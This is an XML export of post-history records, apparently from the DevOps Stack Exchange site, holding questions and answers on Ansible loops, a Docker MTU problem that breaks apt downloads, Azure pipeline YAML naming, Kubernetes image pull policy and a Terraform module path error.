  <row Id="28837" PostHistoryTypeId="5" PostId="8377" RevisionGUID="cfd80b49-112b-4adb-a0ce-3d8c5aef4db2" CreationDate="2019-11-01T20:52:42.207" UserId="13111" Comment="Code tag not closed" Text="Several problems in your playbook.&#xD;&#xA;&#xD;&#xA; 1. `loop` is basically expecting a list, not a string containing a variable name. You need to expand your variable with a jinja2 expression =&gt; `loop: &quot;{{ some_list_variable }}&quot;`&#xD;&#xA; 2. It will be hard to give you the correct syntax without seeing the exact data structure of your result var but... Typically, the register from a loop contains a `results` list of hashes, each containing info about the ran command for each loop iteration. This is your base loop for the second task =&gt; `loop: &quot;{{ del_users_reg.results }}&quot;`&#xD;&#xA;&#xD;&#xA;If you still have trouble fixing your playbook, update your question with a debug of the registered var and I will update my answer accordingly." ContentLicense="CC BY-SA 4.0" />
  <row Id="28838" PostHistoryTypeId="50" PostId="8294" RevisionGUID="c99ec64b-6b4a-4b57-9341-7c14aade8d55" CreationDate="2019-11-01T21:01:55.397" UserId="-1" />
  <row Id="28839" PostHistoryTypeId="2" PostId="9652" RevisionGUID="8a8eb97e-bbf6-440f-8b70-6de8b3c582ee" CreationDate="2019-11-01T21:37:48.380" UserId="9924" Text="Maybe a simple shell script would be more useful. If must to use ansible, it could be something like that (assuming you have all servers in group `testall`):&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: testall&#xD;&#xA;  connection: local&#xD;&#xA;  gather_facts: false&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;    - wait_for:&#xD;&#xA;        timeout: 2&#xD;&#xA;        port: 43&#xD;&#xA;        host: '{{ (ansible_ssh_host|default(ansible_host))|default(inventory_hostname) }}'&#xD;&#xA;      register: waitfor&#xD;&#xA;      ignore_errors: true&#xD;&#xA;&#xD;&#xA;    - copy:&#xD;&#xA;        content: |&#xD;&#xA;          {% for host in groups['testall'] %}&#xD;&#xA;          {% if hostvars[host].waitfor.failed %}{{ hostvars[host].inventory_hostname }} {% endif %}&#xD;&#xA;          {% endfor %}&#xD;&#xA;        dest: /tmp/bad_file&#xD;&#xA;      delegate_to: localhost&#xD;&#xA;&#xD;&#xA;    - copy:&#xD;&#xA;        content: |&#xD;&#xA;          {% for host in groups['testall'] %}&#xD;&#xA;          {% if not hostvars[host].waitfor.failed %}{{ hostvars[host].inventory_hostname }} {% endif %}&#xD;&#xA;          {% endfor %}&#xD;&#xA;        dest: /tmp/good_file&#xD;&#xA;      delegate_to: localhost&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;hosts that have this port opened will be in `/tmp/good_file`, others are in `/tmp/bad_file`" ContentLicense="CC BY-SA 4.0" />
  <row Id="28865" PostHistoryTypeId="10" PostId="9624" RevisionGUID="289b7f9d-421a-4894-9f69-8ba6b6264ecb" CreationDate="2019-11-02T07:20:24.420" UserId="40" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28866" PostHistoryTypeId="10" PostId="9634" RevisionGUID="64889ef7-20df-4d16-bc87-51262a5e17a1" CreationDate="2019-11-02T07:21:46.470" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28867" PostHistoryTypeId="2" PostId="9654" RevisionGUID="4adb4f5b-bb3c-4c8f-8ce8-a7f7358e6fa7" CreationDate="2019-11-02T08:58:31.297" UserId="17969" Text="I have an Ubuntu 19.04 based docker container:  &#xD;&#xA;&#xD;&#xA;    docker run -d -v /home/adr:/root/adr -p 880:80 --name ubuntu-19.04-nginx ubuntu:19.04 tail -F /var/log/alternatives.log&#xD;&#xA;&#xD;&#xA;on which I compiled an nginx and installed these packages:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get install apt-file net-tools htop iputils-ping git curl wget build-essential libcanberra-gtk-module jq zlib1g-dev libssl-dev luajit luarocks libgeoip-dev libperl-dev libxslt1-dev libgd-dev libluajit-5.1-dev lua-cjson nano mlocate mc psmisc apt-utils telnet dnsutils iproute2&#xD;&#xA;&#xD;&#xA;I then committed the image and created another container:&#xD;&#xA;&#xD;&#xA;    docker run --net albums-webapp -d -v /home/adr:/root/adrx -p 880:80 -h nginx --name nginx-lua --network-alias=nginx adrhc/ubuntu-19.04-nginx-lua tail -F /var/log/alternatives.log&#xD;&#xA;&#xD;&#xA;on which I tried to install:&#xD;&#xA;&#xD;&#xA;    apt install mysql-client&#xD;&#xA;&#xD;&#xA;which yields:&#xD;&#xA;&#xD;&#xA;    root@nginx:~# apt install mysql-client&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree       &#xD;&#xA;    Reading state information... Done&#xD;&#xA;    The following additional packages will be installed:&#xD;&#xA;      libaio1 libnuma1 mysql-client-5.7 mysql-client-core-5.7 mysql-common&#xD;&#xA;    The following NEW packages will be installed:&#xD;&#xA;      libaio1 libnuma1 mysql-client mysql-client-5.7 mysql-client-core-5.7 mysql-common&#xD;&#xA;    0 upgraded, 6 newly installed, 0 to remove and 1 not upgraded.&#xD;&#xA;    Need to get 9459 kB of archives.&#xD;&#xA;    After this operation, 65.1 MB of additional disk space will be used.&#xD;&#xA;    Do you want to continue? [Y/n] Y&#xD;&#xA;    Err:1 http://archive.ubuntu.com/ubuntu disco/main amd64 libnuma1 amd64 2.0.12-1&#xD;&#xA;      Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    Err:2 http://archive.ubuntu.com/ubuntu disco/main amd64 libaio1 amd64 0.3.111-1&#xD;&#xA;      Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    Ign:3 http://archive.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-core-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;    Err:4 http://archive.ubuntu.com/ubuntu disco/main amd64 mysql-common all 5.8+1.0.5&#xD;&#xA;      Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    Err:3 http://security.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-core-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;      Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    Ign:5 http://archive.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;    Ign:6 http://archive.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client all 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;    Err:5 http://security.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;      Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    Err:6 http://security.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client all 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;      Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/n/numactl/libnuma1_2.0.12-1_amd64.deb  Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/liba/libaio/libaio1_0.3.111-1_amd64.deb  Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-client-core-5.7_5.7.27-0ubuntu0.19.04.1_amd64.deb  Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/m/mysql-defaults/mysql-common_5.8+1.0.5_all.deb  Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-client-5.7_5.7.27-0ubuntu0.19.04.1_amd64.deb  Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-client_5.7.27-0ubuntu0.19.04.1_all.deb  Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?&#xD;&#xA;&#xD;&#xA;but despite this it works telnet on those ip &amp; port:&#xD;&#xA;&#xD;&#xA;    root@nginx:~# telnet 91.189.88.174 80&#xD;&#xA;    Trying 91.189.88.174...&#xD;&#xA;    Connected to 91.189.88.174.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    ^]&#xD;&#xA;    telnet&gt; Connection closed.&#xD;&#xA;    root@nginx:~# telnet 91.189.88.162 80&#xD;&#xA;    Trying 91.189.88.162...&#xD;&#xA;    Connected to 91.189.88.162.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    ^]&#xD;&#xA;    telnet&gt; Connection closed.&#xD;&#xA;&#xD;&#xA;Also ping to various servers (e.g. google, ubuntu) works fine.&#xD;&#xA;&#xD;&#xA;What is the problem and how should I solve it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28868" PostHistoryTypeId="1" PostId="9654" RevisionGUID="4adb4f5b-bb3c-4c8f-8ce8-a7f7358e6fa7" CreationDate="2019-11-02T08:58:31.297" UserId="17969" Text="Why apt command stuck with Waiting for headers in docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28869" PostHistoryTypeId="3" PostId="9654" RevisionGUID="4adb4f5b-bb3c-4c8f-8ce8-a7f7358e6fa7" CreationDate="2019-11-02T08:58:31.297" UserId="17969" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28870" PostHistoryTypeId="2" PostId="9655" RevisionGUID="3cad6eac-1c9c-4728-a2ed-efd0f3e2815d" CreationDate="2019-11-02T09:46:34.527" UserId="17969" Text="Ok, it seems that the default MTU (1500) is not acceptable for me:&#xD;&#xA;&#xD;&#xA;    ip addr show eth0&#xD;&#xA;    48: eth0@if49: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default &#xD;&#xA;        link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;The solution is to create the network with the appropriate MTU:&#xD;&#xA;&#xD;&#xA;    docker network create --opt com.docker.network.driver.mtu=1492 albums-webapp&#xD;&#xA;    docker network inspect albums-webapp | grep -i mtu&#xD;&#xA;&#xD;&#xA;Be aware that while no container is running the command below will still show the 1500 MTU:&#xD;&#xA;&#xD;&#xA;    ip link show | grep 4d725814c237 | grep mtu&#xD;&#xA;&#xD;&#xA;Also see the related issue: &#xD;&#xA;[https://github.com/moby/moby/issues/28314][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/28314" ContentLicense="CC BY-SA 4.0" />
  <row Id="28871" PostHistoryTypeId="5" PostId="9655" RevisionGUID="3ee62669-7b13-4f50-986c-c05770e2d455" CreationDate="2019-11-02T09:56:24.653" UserId="17969" Comment="additional information" Text="Ok, it seems that the default MTU (1500) is not acceptable for me:&#xD;&#xA;&#xD;&#xA;    ip addr show eth0&#xD;&#xA;    48: eth0@if49: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default &#xD;&#xA;        link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;The solution is to create the network with the appropriate MTU:&#xD;&#xA;&#xD;&#xA;    docker network create --opt com.docker.network.driver.mtu=1492 albums-webapp&#xD;&#xA;    docker network inspect albums-webapp | grep -i mtu&#xD;&#xA;&#xD;&#xA;Be aware that while no container is running the command below will still show the 1500 MTU:&#xD;&#xA;&#xD;&#xA;    ip link show | grep 4d725814c237 | grep mtu&#xD;&#xA;&#xD;&#xA;Be also aware that newly created network must be allowed to go outside - so check it also with the firewall.&#xD;&#xA;&#xD;&#xA;Also see the related issue: &#xD;&#xA;[https://github.com/moby/moby/issues/28314][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/28314" ContentLicense="CC BY-SA 4.0" />
  <row Id="28875" PostHistoryTypeId="2" PostId="9657" RevisionGUID="c9ffaecc-7870-4e93-bebf-9d78d1a55f16" CreationDate="2019-11-02T17:47:15.097" UserId="17829" Text="I have a .NET Core application that has three build pipelines. (Windows, Linux, macOS)&#xD;&#xA;In each of them, the application gets assembled a little different. This part works so far.&#xD;&#xA;&#xD;&#xA;Azure created for each pipeline a .yml file in the root folder of the repository. &#xD;&#xA;&#xD;&#xA; - azure-pipelines.yml (Linux Build)&#xD;&#xA; - azure-pipelines-1.yml (Windows Build)&#xD;&#xA; - azure-pipelines-2.yml (macOS Build)&#xD;&#xA;&#xD;&#xA;I would like to rename them to something like *azure-pipelines-**platform**.yml*&#xD;&#xA;&#xD;&#xA;But when I do so, the configuration in Azure gets broken. I can rename the build configuration, but not the file. And I find no way to configure the link between .yml file and Build config in DevOps&#xD;&#xA;&#xD;&#xA;Is it generally not possible to rename the .yml files? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28876" PostHistoryTypeId="1" PostId="9657" RevisionGUID="c9ffaecc-7870-4e93-bebf-9d78d1a55f16" CreationDate="2019-11-02T17:47:15.097" UserId="17829" Text="Rename build pipeline .yml files in Azure DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="28877" PostHistoryTypeId="3" PostId="9657" RevisionGUID="c9ffaecc-7870-4e93-bebf-9d78d1a55f16" CreationDate="2019-11-02T17:47:15.097" UserId="17829" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28878" PostHistoryTypeId="5" PostId="8647" RevisionGUID="77935f87-b57f-40fd-a45c-725617d83310" CreationDate="2019-11-02T22:52:12.830" UserId="4907" Comment="typo" Text="&gt; I am trying to pull the images down locally so I can modify them&#xD;&#xA;&#xD;&#xA;Container images are immutable. The correct way to do this is to look for the `Dockerfile` (if you are using docker as the container engine) that corresponds to the image and make the relevant changes, rebuild the image and push it to the container registry. &#xD;&#xA;&#xD;&#xA;The container registry will be evident to you in the Deployment manifest. You are looking for `spec.containers.image` attribute.  &#xD;&#xA;&#xD;&#xA;To answer your question specifically around &quot;is the ReplicaSet pulling a fresh image&quot;, this depends on the `imagePullPolicy` setup in the manifest. You can see the definition below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;FIELD:    imagePullPolicy &lt;string&gt;&#xD;&#xA;&#xD;&#xA;DESCRIPTION:&#xD;&#xA;     Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always&#xD;&#xA;     if :latest tag is specified, or IfNotPresent otherwise. Cannot be updated.&#xD;&#xA;     More info:&#xD;&#xA;     https://kubernetes.io/docs/concepts/containers/images#updating-images&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28879" PostHistoryTypeId="2" PostId="9658" RevisionGUID="16728584-30ce-49a4-99f7-f3ae1c751c4c" CreationDate="2019-11-03T00:59:25.853" UserId="8251" Text="I don't think any database services &quot;internal traffic&quot; is available to AWS services directly.&#xA;&#xA;That being said, you should be able to dump all sql queries to a log file on S3 and also extract all database/table combinations to a text file as well.&#xA;&#xA;It then becomes a text processing exercise that you can possibly solve with AWS Athena" ContentLicense="CC BY-SA 4.0" />
  <row Id="28883" PostHistoryTypeId="2" PostId="9660" RevisionGUID="95793a26-de82-4d49-9872-abbb0c01d316" CreationDate="2019-11-03T01:49:04.983" UserId="8251" Text="You can get all used User accounts with Cloudtrail, it would then be a text processing exercise to find the unused ones. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28886" PostHistoryTypeId="2" PostId="9661" RevisionGUID="2bc12ad5-510f-4b8e-b42d-b1f1c2082ead" CreationDate="2019-11-03T11:21:12.370" UserId="210" Text="According to [this Azure Q&amp;A][1] it should be possible to change the name of the yaml file by clicking on &quot;Edit in the visual designer&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developercommunity.visualstudio.com/content/problem/437066/cannot-set-pipeline-name-with-yaml-file-in-azure-d.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="28888" PostHistoryTypeId="10" PostId="9552" RevisionGUID="8ff9209c-771c-45b3-b180-5a7fa3662639" CreationDate="2019-11-03T11:30:29.027" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:15792,&quot;DisplayName&quot;:&quot;Wesley Rolnick&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="28891" PostHistoryTypeId="10" PostId="9637" RevisionGUID="475a786e-1fe0-4f3b-a859-0acb57824eb3" CreationDate="2019-11-03T11:51:51.337" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="28892" PostHistoryTypeId="5" PostId="9637" RevisionGUID="5cf01d3e-0517-4986-9009-e1481362e0e2" CreationDate="2019-11-03T11:52:26.113" UserId="210" Comment="deleted 11 characters in body" Text="I'm currently working at a small company where we've had a lot of issues being on the same page with entity framework migrations and local databases. I want to start incorporating containers in hopes of standardizing everyone's development environment. Ideally, I'd like a disposable database that can be modeled using Entity Framework code first, seed data into it, then disposed of once the testing is done. What resources are there to help get me started and what other things should I know about standardizing the development environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="28894" PostHistoryTypeId="10" PostId="9646" RevisionGUID="7f4164d0-1b52-4b1c-ade2-e8578ca3e3a4" CreationDate="2019-11-03T12:08:44.687" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="28896" PostHistoryTypeId="10" PostId="9654" RevisionGUID="0ec6bfd1-5b6b-4d4d-a8c2-84b824e3ad26" CreationDate="2019-11-03T12:14:56.553" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="28897" PostHistoryTypeId="2" PostId="9662" RevisionGUID="8f4f7f73-2951-4a4b-80b6-3ccbdf957eda" CreationDate="2019-11-03T12:38:02.167" UserId="11221" Text="I am trying to setup terraform with modules and when doing `terraform init` after creating a module I have ran into an issue where I am told it does not exist or can't be read. I've checked many times and tried many paths to it and it does exist where I think it does. &#xD;&#xA;&#xD;&#xA;Not sure in that case why it can't be read. I've included my main.tf file as well as the modules/queues.tf file&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;main.tf&#xD;&#xA;  | main.tf&#xD;&#xA;  | modules&#xD;&#xA;     | queues.tf&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;main.tf&#xD;&#xA;```&#xD;&#xA;# This file brings together all of the modules&#xD;&#xA;variable &quot;environments&quot; {&#xD;&#xA;  type = list(string)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;module &quot;pae_queues&quot; {&#xD;&#xA;    source = &quot;./modules/queues.tf&quot;&#xD;&#xA;&#xD;&#xA;    environments = &quot;${var.environments}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;queues.tf&#xD;&#xA;```&#xD;&#xA;variable &quot;environments&quot; {&#xD;&#xA;  type = &quot;list(string)&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_sqs_queue&quot; &quot;email_queue_${var.environments[count.index]}&quot; {&#xD;&#xA;  count = length(${var.environments})&#xD;&#xA;  name                      = &quot;email_queue_${var.environments[count.index]}&quot;&#xD;&#xA;  delay_seconds             = 0&#xD;&#xA;  max_message_size          = 2048&#xD;&#xA;  message_retention_seconds = 86400&#xD;&#xA;  receive_wait_time_seconds = 10&#xD;&#xA;  redrive_policy            = &quot;{\&quot;deadLetterTargetArn\&quot;:\&quot;${aws_sqs_queue.terraform_queue_deadletter.arn}\&quot;,\&quot;maxReceiveCount\&quot;:3}&quot;&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Environment = &quot;${var.environments[count.index]}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28898" PostHistoryTypeId="1" PostId="9662" RevisionGUID="8f4f7f73-2951-4a4b-80b6-3ccbdf957eda" CreationDate="2019-11-03T12:38:02.167" UserId="11221" Text="Module directory modules/queues.tf does not exist or cannot be read" ContentLicense="CC BY-SA 4.0" />
  <row Id="28899" PostHistoryTypeId="3" PostId="9662" RevisionGUID="8f4f7f73-2951-4a4b-80b6-3ccbdf957eda" CreationDate="2019-11-03T12:38:02.167" UserId="11221" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28900" PostHistoryTypeId="5" PostId="9654" RevisionGUID="799f4249-c5c6-4e14-b33c-1691f2e45860" CreationDate="2019-11-03T15:11:34.477" UserId="17969" Comment="added 59 characters in body" Text="I have an Ubuntu 19.04 based docker container:  &#xD;&#xA;&#xD;&#xA;    docker run -d -v /home/adr:/root/adr -p 880:80 --name ubuntu-19.04-nginx ubuntu:19.04 tail -F /var/log/alternatives.log&#xD;&#xA;&#xD;&#xA;on which I compiled an nginx and installed these packages:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get install apt-file net-tools htop iputils-ping git curl wget build-essential libcanberra-gtk-module jq zlib1g-dev libssl-dev luajit luarocks libgeoip-dev libperl-dev libxslt1-dev libgd-dev libluajit-5.1-dev lua-cjson nano mlocate mc psmisc apt-utils telnet dnsutils iproute2&#xD;&#xA;&#xD;&#xA;I then committed the image and created another container:&#xD;&#xA;&#xD;&#xA;    docker run --net albums-webapp -d -v /home/adr:/root/adrx -p 880:80 -h nginx --name nginx-lua --network-alias=nginx adrhc/ubuntu-19.04-nginx-lua tail -F /var/log/alternatives.log&#xD;&#xA;&#xD;&#xA;on which I tried to install:&#xD;&#xA;&#xD;&#xA;    apt install mysql-client&#xD;&#xA;&#xD;&#xA;which yields:&#xD;&#xA;&#xD;&#xA;    root@nginx:~# apt install mysql-client&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree       &#xD;&#xA;    Reading state information... Done&#xD;&#xA;    The following additional packages will be installed:&#xD;&#xA;      libaio1 libnuma1 mysql-client-5.7 mysql-client-core-5.7 mysql-common&#xD;&#xA;    The following NEW packages will be installed:&#xD;&#xA;      libaio1 libnuma1 mysql-client mysql-client-5.7 mysql-client-core-5.7 mysql-common&#xD;&#xA;    0 upgraded, 6 newly installed, 0 to remove and 1 not upgraded.&#xD;&#xA;    Need to get 9459 kB of archives.&#xD;&#xA;    After this operation, 65.1 MB of additional disk space will be used.&#xD;&#xA;    Do you want to continue? [Y/n] Y&#xD;&#xA;    Err:1 http://archive.ubuntu.com/ubuntu disco/main amd64 libnuma1 amd64 2.0.12-1&#xD;&#xA;      Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    Err:2 http://archive.ubuntu.com/ubuntu disco/main amd64 libaio1 amd64 0.3.111-1&#xD;&#xA;      Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    Ign:3 http://archive.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-core-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;    Err:4 http://archive.ubuntu.com/ubuntu disco/main amd64 mysql-common all 5.8+1.0.5&#xD;&#xA;      Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    Err:3 http://security.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-core-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;      Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    Ign:5 http://archive.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;    Ign:6 http://archive.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client all 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;    Err:5 http://security.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client-5.7 amd64 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;      Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    Err:6 http://security.ubuntu.com/ubuntu disco-updates/main amd64 mysql-client all 5.7.27-0ubuntu0.19.04.1&#xD;&#xA;      Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/n/numactl/libnuma1_2.0.12-1_amd64.deb  Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/liba/libaio/libaio1_0.3.111-1_amd64.deb  Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-client-core-5.7_5.7.27-0ubuntu0.19.04.1_amd64.deb  Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/m/mysql-defaults/mysql-common_5.8+1.0.5_all.deb  Connection failed [IP: 91.189.88.162 80]&#xD;&#xA;    E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-client-5.7_5.7.27-0ubuntu0.19.04.1_amd64.deb  Connection failed [IP: 91.189.88.31 80]&#xD;&#xA;    E: Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/m/mysql-5.7/mysql-client_5.7.27-0ubuntu0.19.04.1_all.deb  Connection failed [IP: 91.189.88.174 80]&#xD;&#xA;    E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?&#xD;&#xA;&#xD;&#xA;but despite this issue the telnet command works on those ip &amp; port:&#xD;&#xA;&#xD;&#xA;    root@nginx:~# telnet 91.189.88.174 80&#xD;&#xA;    Trying 91.189.88.174...&#xD;&#xA;    Connected to 91.189.88.174.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    ^]&#xD;&#xA;    telnet&gt; Connection closed.&#xD;&#xA;    root@nginx:~# telnet 91.189.88.162 80&#xD;&#xA;    Trying 91.189.88.162...&#xD;&#xA;    Connected to 91.189.88.162.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    ^]&#xD;&#xA;    telnet&gt; Connection closed.&#xD;&#xA;&#xD;&#xA;Also ping to various servers (e.g. google, ubuntu) works fine.&#xD;&#xA;&#xD;&#xA;Why `apt install mysql-client` doesn't work and what should I do in order to make it work?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28901" PostHistoryTypeId="5" PostId="9655" RevisionGUID="f1b3acef-f2f5-4239-a6b6-4adbf4948a25" CreationDate="2019-11-03T15:14:16.740" UserId="17969" Comment="more details added" Text="Ok, it seems that the default docker MTU (1500) is not acceptable for me because I use a PPPoE Internet connection on the host on which I run the docker service:&#xD;&#xA;&#xD;&#xA;    ip addr show eth0&#xD;&#xA;    48: eth0@if49: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default &#xD;&#xA;        link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;The solution is to create the network with an appropriate MTU:&#xD;&#xA;&#xD;&#xA;    docker network create --opt com.docker.network.driver.mtu=1492 albums-webapp&#xD;&#xA;    docker network inspect albums-webapp | grep -i mtu&#xD;&#xA;&#xD;&#xA;Be aware that while no container is running the command below will still show the 1500 MTU:&#xD;&#xA;&#xD;&#xA;    ip link show | grep 4d725814c237 | grep mtu&#xD;&#xA;&#xD;&#xA;Be also aware that newly created network must be allowed to go outside - so check it also with the firewall.&#xD;&#xA;&#xD;&#xA;Also see the related issue: &#xD;&#xA;[https://github.com/moby/moby/issues/28314][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/28314" ContentLicense="CC BY-SA 4.0" />
  <row Id="28906" PostHistoryTypeId="11" PostId="9654" RevisionGUID="f6e4dad0-f206-406d-af73-1c96c8066081" CreationDate="2019-11-03T18:16:17.640" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
